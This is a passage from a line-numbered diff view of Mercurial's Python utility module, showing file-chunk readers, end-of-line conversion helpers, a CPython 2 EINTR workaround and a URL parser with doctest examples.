2266 buf.append(chunk[offset:])
2268 self._chunkoffset = 0
2267 self._chunkoffset = 0
2269
2268
2270 # Partial chunk needed.
2269 # Partial chunk needed.
2271 else:
2270 else:
2272 buf.append(chunk[offset:offset + left])
2271 buf.append(chunk[offset:offset + left])
2273 self._chunkoffset += left
2272 self._chunkoffset += left
2274 left -= chunkremaining
2273 left -= chunkremaining
2275
2274
2276 return ''.join(buf)
2275 return ''.join(buf)
2277
2276
2278 def filechunkiter(f, size=131072, limit=None):
2277 def filechunkiter(f, size=131072, limit=None):
2279 """Create a generator that produces the data in the file size
2278 """Create a generator that produces the data in the file size
2280 (default 131072) bytes at a time, up to optional limit (default is
2279 (default 131072) bytes at a time, up to optional limit (default is
2281 to read all data). Chunks may be less than size bytes if the
2280 to read all data). Chunks may be less than size bytes if the
2282 chunk is the last chunk in the file, or the file is a socket or
2281 chunk is the last chunk in the file, or the file is a socket or
2283 some other type of file that sometimes reads less data than is
2282 some other type of file that sometimes reads less data than is
2284 requested."""
2283 requested."""
2285 assert size >= 0
2284 assert size >= 0
2286 assert limit is None or limit >= 0
2285 assert limit is None or limit >= 0
2287 while True:
2286 while True:
2288 if limit is None:
2287 if limit is None:
2289 nbytes = size
2288 nbytes = size
2290 else:
2289 else:
2291 nbytes = min(limit, size)
2290 nbytes = min(limit, size)
2292 s = nbytes and f.read(nbytes)
2291 s = nbytes and f.read(nbytes)
2293 if not s:
2292 if not s:
2294 break
2293 break
2295 if limit:
2294 if limit:
2296 limit -= len(s)
2295 limit -= len(s)
2297 yield s
2296 yield s
2298
2297
2299 class cappedreader(object):
2298 class cappedreader(object):
2300 """A file object proxy that allows reading up to N bytes.
2299 """A file object proxy that allows reading up to N bytes.
2301
2300
2302 Given a source file object, instances of this type allow reading up to
2301 Given a source file object, instances of this type allow reading up to
2303 N bytes from that source file object. Attempts to read past the allowed
2302 N bytes from that source file object. Attempts to read past the allowed
2304 limit are treated as EOF.
2303 limit are treated as EOF.
2305
2304
2306 It is assumed that I/O is not performed on the original file object
2305 It is assumed that I/O is not performed on the original file object
2307 in addition to I/O that is performed by this instance. If there is,
2306 in addition to I/O that is performed by this instance. If there is,
2308 state tracking will get out of sync and unexpected results will ensue.
2307 state tracking will get out of sync and unexpected results will ensue.
2309 """
2308 """
2310 def __init__(self, fh, limit):
2309 def __init__(self, fh, limit):
2311 """Allow reading up to <limit> bytes from <fh>."""
2310 """Allow reading up to <limit> bytes from <fh>."""
2312 self._fh = fh
2311 self._fh = fh
2313 self._left = limit
2312 self._left = limit
2314
2313
2315 def read(self, n=-1):
2314 def read(self, n=-1):
2316 if not self._left:
2315 if not self._left:
2317 return b''
2316 return b''
2318
2317
2319 if n < 0:
2318 if n < 0:
2320 n = self._left
2319 n = self._left
2321
2320
2322 data = self._fh.read(min(n, self._left))
2321 data = self._fh.read(min(n, self._left))
2323 self._left -= len(data)
2322 self._left -= len(data)
2324 assert self._left >= 0
2323 assert self._left >= 0
2325
2324
2326 return data
2325 return data
2327
2326
2328 def readinto(self, b):
2327 def readinto(self, b):
2329 res = self.read(len(b))
2328 res = self.read(len(b))
2330 if res is None:
2329 if res is None:
2331 return None
2330 return None
2332
2331
2333 b[0:len(res)] = res
2332 b[0:len(res)] = res
2334 return len(res)
2333 return len(res)
2335
2334
2336 def unitcountfn(*unittable):
2335 def unitcountfn(*unittable):
2337 '''return a function that renders a readable count of some quantity'''
2336 '''return a function that renders a readable count of some quantity'''
2338
2337
2339 def go(count):
2338 def go(count):
2340 for multiplier, divisor, format in unittable:
2339 for multiplier, divisor, format in unittable:
2341 if abs(count) >= divisor * multiplier:
2340 if abs(count) >= divisor * multiplier:
2342 return format % (count / float(divisor))
2341 return format % (count / float(divisor))
2343 return unittable[-1][2] % count
2342 return unittable[-1][2] % count
2344
2343
2345 return go
2344 return go
2346
2345
2347 def processlinerange(fromline, toline):
2346 def processlinerange(fromline, toline):
2348 """Check that linerange <fromline>:<toline> makes sense and return a
2347 """Check that linerange <fromline>:<toline> makes sense and return a
2349 0-based range.
2348 0-based range.
2350
2349
2351 >>> processlinerange(10, 20)
2350 >>> processlinerange(10, 20)
2352 (9, 20)
2351 (9, 20)
2353 >>> processlinerange(2, 1)
2352 >>> processlinerange(2, 1)
2354 Traceback (most recent call last):
2353 Traceback (most recent call last):
2355 ...
2354 ...
2356 ParseError: line range must be positive
2355 ParseError: line range must be positive
2357 >>> processlinerange(0, 5)
2356 >>> processlinerange(0, 5)
2358 Traceback (most recent call last):
2357 Traceback (most recent call last):
2359 ...
2358 ...
2360 ParseError: fromline must be strictly positive
2359 ParseError: fromline must be strictly positive
2361 """
2360 """
2362 if toline - fromline < 0:
2361 if toline - fromline < 0:
2363 raise error.ParseError(_("line range must be positive"))
2362 raise error.ParseError(_("line range must be positive"))
2364 if fromline < 1:
2363 if fromline < 1:
2365 raise error.ParseError(_("fromline must be strictly positive"))
2364 raise error.ParseError(_("fromline must be strictly positive"))
2366 return fromline - 1, toline
2365 return fromline - 1, toline
2367
2366
2368 bytecount = unitcountfn(
2367 bytecount = unitcountfn(
2369 (100, 1 << 30, _('%.0f GB')),
2368 (100, 1 << 30, _('%.0f GB')),
2370 (10, 1 << 30, _('%.1f GB')),
2369 (10, 1 << 30, _('%.1f GB')),
2371 (1, 1 << 30, _('%.2f GB')),
2370 (1, 1 << 30, _('%.2f GB')),
2372 (100, 1 << 20, _('%.0f MB')),
2371 (100, 1 << 20, _('%.0f MB')),
2373 (10, 1 << 20, _('%.1f MB')),
2372 (10, 1 << 20, _('%.1f MB')),
2374 (1, 1 << 20, _('%.2f MB')),
2373 (1, 1 << 20, _('%.2f MB')),
2375 (100, 1 << 10, _('%.0f KB')),
2374 (100, 1 << 10, _('%.0f KB')),
2376 (10, 1 << 10, _('%.1f KB')),
2375 (10, 1 << 10, _('%.1f KB')),
2377 (1, 1 << 10, _('%.2f KB')),
2376 (1, 1 << 10, _('%.2f KB')),
2378 (1, 1, _('%.0f bytes')),
2377 (1, 1, _('%.0f bytes')),
2379 )
2378 )
2380
2379
2381 class transformingwriter(object):
2380 class transformingwriter(object):
2382 """Writable file wrapper to transform data by function"""
2381 """Writable file wrapper to transform data by function"""
2383
2382
2384 def __init__(self, fp, encode):
2383 def __init__(self, fp, encode):
2385 self._fp = fp
2384 self._fp = fp
2386 self._encode = encode
2385 self._encode = encode
2387
2386
2388 def close(self):
2387 def close(self):
2389 self._fp.close()
2388 self._fp.close()
2390
2389
2391 def flush(self):
2390 def flush(self):
2392 self._fp.flush()
2391 self._fp.flush()
2393
2392
2394 def write(self, data):
2393 def write(self, data):
2395 return self._fp.write(self._encode(data))
2394 return self._fp.write(self._encode(data))
2396
2395
2397 # Matches a single EOL which can either be a CRLF where repeated CR
2396 # Matches a single EOL which can either be a CRLF where repeated CR
2398 # are removed or a LF. We do not care about old Macintosh files, so a
2397 # are removed or a LF. We do not care about old Macintosh files, so a
2399 # stray CR is an error.
2398 # stray CR is an error.
2400 _eolre = remod.compile(br'\r*\n')
2399 _eolre = remod.compile(br'\r*\n')
2401
2400
2402 def tolf(s):
2401 def tolf(s):
2403 return _eolre.sub('\n', s)
2402 return _eolre.sub('\n', s)
2404
2403
2405 def tocrlf(s):
2404 def tocrlf(s):
2406 return _eolre.sub('\r\n', s)
2405 return _eolre.sub('\r\n', s)
2407
2406
2408 def _crlfwriter(fp):
2407 def _crlfwriter(fp):
2409 return transformingwriter(fp, tocrlf)
2408 return transformingwriter(fp, tocrlf)
2410
2409
2411 if pycompat.oslinesep == '\r\n':
2410 if pycompat.oslinesep == '\r\n':
2412 tonativeeol = tocrlf
2411 tonativeeol = tocrlf
2413 fromnativeeol = tolf
2412 fromnativeeol = tolf
2414 nativeeolwriter = _crlfwriter
2413 nativeeolwriter = _crlfwriter
2415 else:
2414 else:
2416 tonativeeol = pycompat.identity
2415 tonativeeol = pycompat.identity
2417 fromnativeeol = pycompat.identity
2416 fromnativeeol = pycompat.identity
2418 nativeeolwriter = pycompat.identity
2417 nativeeolwriter = pycompat.identity
2419
2418
2420 if (pyplatform.python_implementation() == 'CPython' and
2419 if (pyplatform.python_implementation() == 'CPython' and
2421 sys.version_info < (3, 0)):
2420 sys.version_info < (3, 0)):
2422 # There is an issue in CPython that some IO methods do not handle EINTR
2421 # There is an issue in CPython that some IO methods do not handle EINTR
2423 # correctly. The following table shows what CPython version (and functions)
2422 # correctly. The following table shows what CPython version (and functions)
2424 # are affected (buggy: has the EINTR bug, okay: otherwise):
2423 # are affected (buggy: has the EINTR bug, okay: otherwise):
2425 #
2424 #
2426 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2425 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2427 # --------------------------------------------------
2426 # --------------------------------------------------
2428 # fp.__iter__ | buggy | buggy | okay
2427 # fp.__iter__ | buggy | buggy | okay
2429 # fp.read* | buggy | okay [1] | okay
2428 # fp.read* | buggy | okay [1] | okay
2430 #
2429 #
2431 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2430 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2432 #
2431 #
2433 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2432 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2434 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2433 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2435 #
2434 #
2436 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2435 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2437 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2436 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2438 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2437 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2439 # fp.__iter__ but not other fp.read* methods.
2438 # fp.__iter__ but not other fp.read* methods.
2440 #
2439 #
2441 # On modern systems like Linux, the "read" syscall cannot be interrupted
2440 # On modern systems like Linux, the "read" syscall cannot be interrupted
2442 # when reading "fast" files like on-disk files. So the EINTR issue only
2441 # when reading "fast" files like on-disk files. So the EINTR issue only
2443 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2442 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2444 # files approximately as "fast" files and use the fast (unsafe) code path,
2443 # files approximately as "fast" files and use the fast (unsafe) code path,
2445 # to minimize the performance impact.
2444 # to minimize the performance impact.
2446 if sys.version_info >= (2, 7, 4):
2445 if sys.version_info >= (2, 7, 4):
2447 # fp.readline deals with EINTR correctly, use it as a workaround.
2446 # fp.readline deals with EINTR correctly, use it as a workaround.
2448 def _safeiterfile(fp):
2447 def _safeiterfile(fp):
2449 return iter(fp.readline, '')
2448 return iter(fp.readline, '')
2450 else:
2449 else:
2451 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2450 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2452 # note: this may block longer than necessary because of bufsize.
2451 # note: this may block longer than necessary because of bufsize.
2453 def _safeiterfile(fp, bufsize=4096):
2452 def _safeiterfile(fp, bufsize=4096):
2454 fd = fp.fileno()
2453 fd = fp.fileno()
2455 line = ''
2454 line = ''
2456 while True:
2455 while True:
2457 try:
2456 try:
2458 buf = os.read(fd, bufsize)
2457 buf = os.read(fd, bufsize)
2459 except OSError as ex:
2458 except OSError as ex:
2460 # os.read only raises EINTR before any data is read
2459 # os.read only raises EINTR before any data is read
2461 if ex.errno == errno.EINTR:
2460 if ex.errno == errno.EINTR:
2462 continue
2461 continue
2463 else:
2462 else:
2464 raise
2463 raise
2465 line += buf
2464 line += buf
2466 if '\n' in buf:
2465 if '\n' in buf:
2467 splitted = line.splitlines(True)
2466 splitted = line.splitlines(True)
2468 line = ''
2467 line = ''
2469 for l in splitted:
2468 for l in splitted:
2470 if l[-1] == '\n':
2469 if l[-1] == '\n':
2471 yield l
2470 yield l
2472 else:
2471 else:
2473 line = l
2472 line = l
2474 if not buf:
2473 if not buf:
2475 break
2474 break
2476 if line:
2475 if line:
2477 yield line
2476 yield line
2478
2477
2479 def iterfile(fp):
2478 def iterfile(fp):
2480 fastpath = True
2479 fastpath = True
2481 if type(fp) is file:
2480 if type(fp) is file:
2482 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2481 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2483 if fastpath:
2482 if fastpath:
2484 return fp
2483 return fp
2485 else:
2484 else:
2486 return _safeiterfile(fp)
2485 return _safeiterfile(fp)
2487 else:
2486 else:
2488 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2487 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2489 def iterfile(fp):
2488 def iterfile(fp):
2490 return fp
2489 return fp
2491
2490
2492 def iterlines(iterator):
2491 def iterlines(iterator):
2493 for chunk in iterator:
2492 for chunk in iterator:
2494 for line in chunk.splitlines():
2493 for line in chunk.splitlines():
2495 yield line
2494 yield line
2496
2495
2497 def expandpath(path):
2496 def expandpath(path):
2498 return os.path.expanduser(os.path.expandvars(path))
2497 return os.path.expanduser(os.path.expandvars(path))
2499
2498
2500 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2499 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2501 """Return the result of interpolating items in the mapping into string s.
2500 """Return the result of interpolating items in the mapping into string s.
2502
2501
2503 prefix is a single character string, or a two character string with
2502 prefix is a single character string, or a two character string with
2504 a backslash as the first character if the prefix needs to be escaped in
2503 a backslash as the first character if the prefix needs to be escaped in
2505 a regular expression.
2504 a regular expression.
2506
2505
2507 fn is an optional function that will be applied to the replacement text
2506 fn is an optional function that will be applied to the replacement text
2508 just before replacement.
2507 just before replacement.
2509
2508
2510 escape_prefix is an optional flag that allows using doubled prefix for
2509 escape_prefix is an optional flag that allows using doubled prefix for
2511 its escaping.
2510 its escaping.
2512 """
2511 """
2513 fn = fn or (lambda s: s)
2512 fn = fn or (lambda s: s)
2514 patterns = '|'.join(mapping.keys())
2513 patterns = '|'.join(mapping.keys())
2515 if escape_prefix:
2514 if escape_prefix:
2516 patterns += '|' + prefix
2515 patterns += '|' + prefix
2517 if len(prefix) > 1:
2516 if len(prefix) > 1:
2518 prefix_char = prefix[1:]
2517 prefix_char = prefix[1:]
2519 else:
2518 else:
2520 prefix_char = prefix
2519 prefix_char = prefix
2521 mapping[prefix_char] = prefix_char
2520 mapping[prefix_char] = prefix_char
2522 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2521 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2523 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2522 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2524
2523
2525 def getport(port):
2524 def getport(port):
2526 """Return the port for a given network service.
2525 """Return the port for a given network service.
2527
2526
2528 If port is an integer, it's returned as is. If it's a string, it's
2527 If port is an integer, it's returned as is. If it's a string, it's
2529 looked up using socket.getservbyname(). If there's no matching
2528 looked up using socket.getservbyname(). If there's no matching
2530 service, error.Abort is raised.
2529 service, error.Abort is raised.
2531 """
2530 """
2532 try:
2531 try:
2533 return int(port)
2532 return int(port)
2534 except ValueError:
2533 except ValueError:
2535 pass
2534 pass
2536
2535
2537 try:
2536 try:
2538 return socket.getservbyname(pycompat.sysstr(port))
2537 return socket.getservbyname(pycompat.sysstr(port))
2539 except socket.error:
2538 except socket.error:
2540 raise error.Abort(_("no port number associated with service '%s'")
2539 raise error.Abort(_("no port number associated with service '%s'")
2541 % port)
2540 % port)
2542
2541
2543 class url(object):
2542 class url(object):
2544 r"""Reliable URL parser.
2543 r"""Reliable URL parser.
2545
2544
2546 This parses URLs and provides attributes for the following
2545 This parses URLs and provides attributes for the following
2547 components:
2546 components:
2548
2547
2549 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2548 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2550
2549
2551 Missing components are set to None. The only exception is
2550 Missing components are set to None. The only exception is
2552 fragment, which is set to '' if present but empty.
2551 fragment, which is set to '' if present but empty.
2553
2552
2554 If parsefragment is False, fragment is included in query. If
2553 If parsefragment is False, fragment is included in query. If
2555 parsequery is False, query is included in path. If both are
2554 parsequery is False, query is included in path. If both are
2556 False, both fragment and query are included in path.
2555 False, both fragment and query are included in path.
2557
2556
2558 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2557 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2559
2558
2560 Note that for backward compatibility reasons, bundle URLs do not
2559 Note that for backward compatibility reasons, bundle URLs do not
2561 take host names. That means 'bundle://../' has a path of '../'.
2560 take host names. That means 'bundle://../' has a path of '../'.
2562
2561
2563 Examples:
2562 Examples:
2564
2563
2565 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2564 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2566 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2565 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2567 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2566 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2568 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2567 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2569 >>> url(b'file:///home/joe/repo')
2568 >>> url(b'file:///home/joe/repo')
2570 <url scheme: 'file', path: '/home/joe/repo'>
2569 <url scheme: 'file', path: '/home/joe/repo'>
2571 >>> url(b'file:///c:/temp/foo/')
2570 >>> url(b'file:///c:/temp/foo/')
2572 <url scheme: 'file', path: 'c:/temp/foo/'>
2571 <url scheme: 'file', path: 'c:/temp/foo/'>
2573 >>> url(b'bundle:foo')
2572 >>> url(b'bundle:foo')
2574 <url scheme: 'bundle', path: 'foo'>
2573 <url scheme: 'bundle', path: 'foo'>
2575 >>> url(b'bundle://../foo')
2574 >>> url(b'bundle://../foo')
2576 <url scheme: 'bundle', path: '../foo'>
2575 <url scheme: 'bundle', path: '../foo'>
2577 >>> url(br'c:\foo\bar')
2576 >>> url(br'c:\foo\bar')
2578 <url path: 'c:\\foo\\bar'>
2577 <url path: 'c:\\foo\\bar'>
2579 >>> url(br'\\blah\blah\blah')
2578 >>> url(br'\\blah\blah\blah')
2580 <url path: '\\\\blah\\blah\\blah'>
2579 <url path: '\\\\blah\\blah\\blah'>
2581 >>> url(br'\\blah\blah\blah#baz')
2580 >>> url(br'\\blah\blah\blah#baz')
2582 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2581 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2583 >>> url(br'file:///C:\users\me')
2582 >>> url(br'file:///C:\users\me')
2584 <url scheme: 'file', path: 'C:\\users\\me'>
2583 <url scheme: 'file', path: 'C:\\users\\me'>
2585
2584
2586 Authentication credentials:
2585 Authentication credentials:
2587
2586
2588 >>> url(b'ssh://joe:xyz@x/repo')
2587 >>> url(b'ssh://joe:xyz@x/repo')
2589 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2588 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2590 >>> url(b'ssh://joe@x/repo')
2589 >>> url(b'ssh://joe@x/repo')
2591 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2590 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2592
2591
2593 Query strings and fragments:
2592 Query strings and fragments:
2594
2593
2595 >>> url(b'http://host/a?b#c')
2594 >>> url(b'http://host/a?b#c')
2596 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2595 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2597 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2596 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2598 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2597 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2599
2598
2600 Empty path:
2599 Empty path:
2601
2600
2602 >>> url(b'')
2601 >>> url(b'')
2603 <url path: ''>
2602 <url path: ''>
2604 >>> url(b'#a')
2603 >>> url(b'#a')
2605 <url path: '', fragment: 'a'>
2604 <url path: '', fragment: 'a'>
2606 >>> url(b'http://host/')
2605 >>> url(b'http://host/')
2607 <url scheme: 'http', host: 'host', path: ''>
2606 <url scheme: 'http', host: 'host', path: ''>
2608 >>> url(b'http://host/#a')
2607 >>> url(b'http://host/#a')
2609 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2608 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2610
2609
2611 Only scheme:
2610 Only scheme:
2612
2611
2613 >>> url(b'http:')
2612 >>> url(b'http:')
2614 <url scheme: 'http'>
2613 <url scheme: 'http'>
2615 """
2614 """
2616
2615
2617 _safechars = "!~*'()+"
2616 _safechars = "!~*'()+"
2618 _safepchars = "/!~*'()+:\\"
2617 _safepchars = "/!~*'()+:\\"
2619 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2618 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2620
2619
2621 def __init__(self, path, parsequery=True, parsefragment=True):
2620 def __init__(self, path, parsequery=True, parsefragment=True):
2622 # We slowly chomp away at path until we have only the path left
2621 # We slowly chomp away at path until we have only the path left
2623 self.scheme = self.user = self.passwd = self.host = None
2622 self.scheme = self.user = self.passwd = self.host = None
2624 self.port = self.path = self.query = self.fragment = None
2623 self.port = self.path = self.query = self.fragment = None
2625 self._localpath = True
2624 self._localpath = True
2626 self._hostport = ''
2625 self._hostport = ''
2627 self._origpath = path
2626 self._origpath = path
2628
2627
2629 if parsefragment and '#' in path:
2628 if parsefragment and '#' in path:
2630 path, self.fragment = path.split('#', 1)
2629 path, self.fragment = path.split('#', 1)
2631
2630
2632 # special case for Windows drive letters and UNC paths
2631 # special case for Windows drive letters and UNC paths
2633 if hasdriveletter(path) or path.startswith('\\\\'):
2632 if hasdriveletter(path) or path.startswith('\\\\'):
2634 self.path = path
2633 self.path = path
2635 return
2634 return
2636
2635
2637 # For compatibility reasons, we can't handle bundle paths as
2636 # For compatibility reasons, we can't handle bundle paths as
2638 # normal URLS
2637 # normal URLS
2639 if path.startswith('bundle:'):
2638 if path.startswith('bundle:'):
2640 self.scheme = 'bundle'
2639 self.scheme = 'bundle'
2641 path = path[7:]
2640 path = path[7:]
2642 if path.startswith('//'):
2641 if path.startswith('//'):
2643 path = path[2:]
2642 path = path[2:]
2644 self.path = path
2643 self.path = path
2645 return
2644 return
2646
2645
2647 if self._matchscheme(path):
2646 if self._matchscheme(path):
2648 parts = path.split(':', 1)
2647 parts = path.split(':', 1)
2649 if parts[0]:
2648 if parts[0]:
2650 self.scheme, path = parts
2649 self.scheme, path = parts
2651 self._localpath = False
2650 self._localpath = False
2652
2651
2653 if not path:
2652 if not path:
2654 path = None
2653 path = None
2655 if self._localpath:
2654 if self._localpath:
2656 self.path = ''
2655 self.path = ''
2657 return
2656 return
2658 else:
2657 else:
2659 if self._localpath:
2658 if self._localpath:
2660 self.path = path
2659 self.path = path
2661 return
2660 return
2662
2661
2663 if parsequery and '?' in path:
2662 if parsequery and '?' in path:
2664 path, self.query = path.split('?', 1)
2663 path, self.query = path.split('?', 1)
2665 if not path:
2664 if not path:
2666 path = None
2665 path = None
2667 if not self.query:
2666 if not self.query:
2668 self.query = None
2667 self.query = None
2669
2668
2670 # // is required to specify a host/authority
2669 # // is required to specify a host/authority
2671 if path and path.startswith('//'):
2670 if path and path.startswith('//'):
2672 parts = path[2:].split('/', 1)
2671 parts = path[2:].split('/', 1)
2673 if len(parts) > 1:
2672 if len(parts) > 1:
2674 self.host, path = parts
2673 self.host, path = parts
2675 else:
2674 else:
2676 self.host = parts[0]
2675 self.host = parts[0]
2677 path = None
2676 path = None
2678 if not self.host:
2677 if not self.host:
2679 self.host = None
2678 self.host = None
2680 # path of file:///d is /d
2679 # path of file:///d is /d
2681 # path of file:///d:/ is d:/, not /d:/
2680 # path of file:///d:/ is d:/, not /d:/
2682 if path and not hasdriveletter(path):
2681 if path and not hasdriveletter(path):
2683 path = '/' + path
2682 path = '/' + path
2684
2683
2685 if self.host and '@' in self.host:
2684 if self.host and '@' in self.host:
2686 self.user, self.host = self.host.rsplit('@', 1)
2685 self.user, self.host = self.host.rsplit('@', 1)
2687 if ':' in self.user:
2686 if ':' in self.user:
2688 self.user, self.passwd = self.user.split(':', 1)
2687 self.user, self.passwd = self.user.split(':', 1)
2689 if not self.host:
2688 if not self.host:
2690 self.host = None
2689 self.host = None
2691
2690
2692 # Don't split on colons in IPv6 addresses without ports
2691 # Don't split on colons in IPv6 addresses without ports
2693 if (self.host and ':' in self.host and
2692 if (self.host and ':' in self.host and
2694 not (self.host.startswith('[') and self.host.endswith(']'))):
2693 not (self.host.startswith('[') and self.host.endswith(']'))):
2695 self._hostport = self.host
2694 self._hostport = self.host
2696 self.host, self.port = self.host.rsplit(':', 1)
2695 self.host, self.port = self.host.rsplit(':', 1)
2697 if not self.host:
2696 if not self.host:
2698 self.host = None
2697 self.host = None
2699
2698
2700 if (self.host and self.scheme == 'file' and
2699 if (self.host and self.scheme == 'file' and
2701 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2700 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2702 raise error.Abort(_('file:// URLs can only refer to localhost'))
2701 raise error.Abort(_('file:// URLs can only refer to localhost'))
2703
2702
2704 self.path = path
2703 self.path = path
2705
2704
2706 # leave the query string escaped
2705 # leave the query string escaped
2707 for a in ('user', 'passwd', 'host', 'port',
2706 for a in ('user', 'passwd', 'host', 'port',
2708 'path', 'fragment'):
2707 'path', 'fragment'):
2709 v = getattr(self, a)
2708 v = getattr(self, a)
2710 if v is not None:
2709 if v is not None:
2711 setattr(self, a, urlreq.unquote(v))
2710 setattr(self, a, urlreq.unquote(v))
2712
2711
2713 @encoding.strmethod
2712 @encoding.strmethod
2714 def __repr__(self):
2713 def __repr__(self):
2715 attrs = []
2714 attrs = []
2716 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2715 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2717 'query', 'fragment'):
2716 'query', 'fragment'):
2718 v = getattr(self, a)
2717 v = getattr(self, a)
2719 if v is not None:
2718 if v is not None:
2720 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2719 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2721 return '<url %s>' % ', '.join(attrs)
2720 return '<url %s>' % ', '.join(attrs)
2722
2721
2723 def __bytes__(self):
2722 def __bytes__(self):
2724 r"""Join the URL's components back into a URL string.
2723 r"""Join the URL's components back into a URL string.
2725
2724
2726 Examples:
2725 Examples:
2727
2726
2728 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2727 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2729 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2728 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2730 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2729 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2731 'http://user:pw@host:80/?foo=bar&baz=42'
2730 'http://user:pw@host:80/?foo=bar&baz=42'
2732 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2731 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2733 'http://user:pw@host:80/?foo=bar%3dbaz'
2732 'http://user:pw@host:80/?foo=bar%3dbaz'
2734 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2733 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2735 'ssh://user:pw@[::1]:2200//home/joe#'
2734 'ssh://user:pw@[::1]:2200//home/joe#'
2736 >>> bytes(url(b'http://localhost:80//'))
2735 >>> bytes(url(b'http://localhost:80//'))
2737 'http://localhost:80//'
2736 'http://localhost:80//'
2738 >>> bytes(url(b'http://localhost:80/'))
2737 >>> bytes(url(b'http://localhost:80/'))
2739 'http://localhost:80/'
2738 'http://localhost:80/'
2740 >>> bytes(url(b'http://localhost:80'))
2739 >>> bytes(url(b'http://localhost:80'))
2741 'http://localhost:80/'
2740 'http://localhost:80/'
2742 >>> bytes(url(b'bundle:foo'))
2741 >>> bytes(url(b'bundle:foo'))
2743 'bundle:foo'
2742 'bundle:foo'
2744 >>> bytes(url(b'bundle://../foo'))
2743 >>> bytes(url(b'bundle://../foo'))
2745 'bundle:../foo'
2744 'bundle:../foo'
2746 >>> bytes(url(b'path'))
2745 >>> bytes(url(b'path'))
2747 'path'
2746 'path'
2748 >>> bytes(url(b'file:///tmp/foo/bar'))
2747 >>> bytes(url(b'file:///tmp/foo/bar'))
2749 'file:///tmp/foo/bar'
2748 'file:///tmp/foo/bar'
2750 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2749 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2751 'file:///c:/tmp/foo/bar'
2750 'file:///c:/tmp/foo/bar'
2752 >>> print(url(br'bundle:foo\bar'))
2751 >>> print(url(br'bundle:foo\bar'))
2753 bundle:foo\bar
2752 bundle:foo\bar
2754 >>> print(url(br'file:///D:\data\hg'))
2753 >>> print(url(br'file:///D:\data\hg'))
2755 file:///D:\data\hg
2754 file:///D:\data\hg
2756 """
2755 """
2757 if self._localpath:
2756 if self._localpath:
2758 s = self.path
2757 s = self.path
2759 if self.scheme == 'bundle':
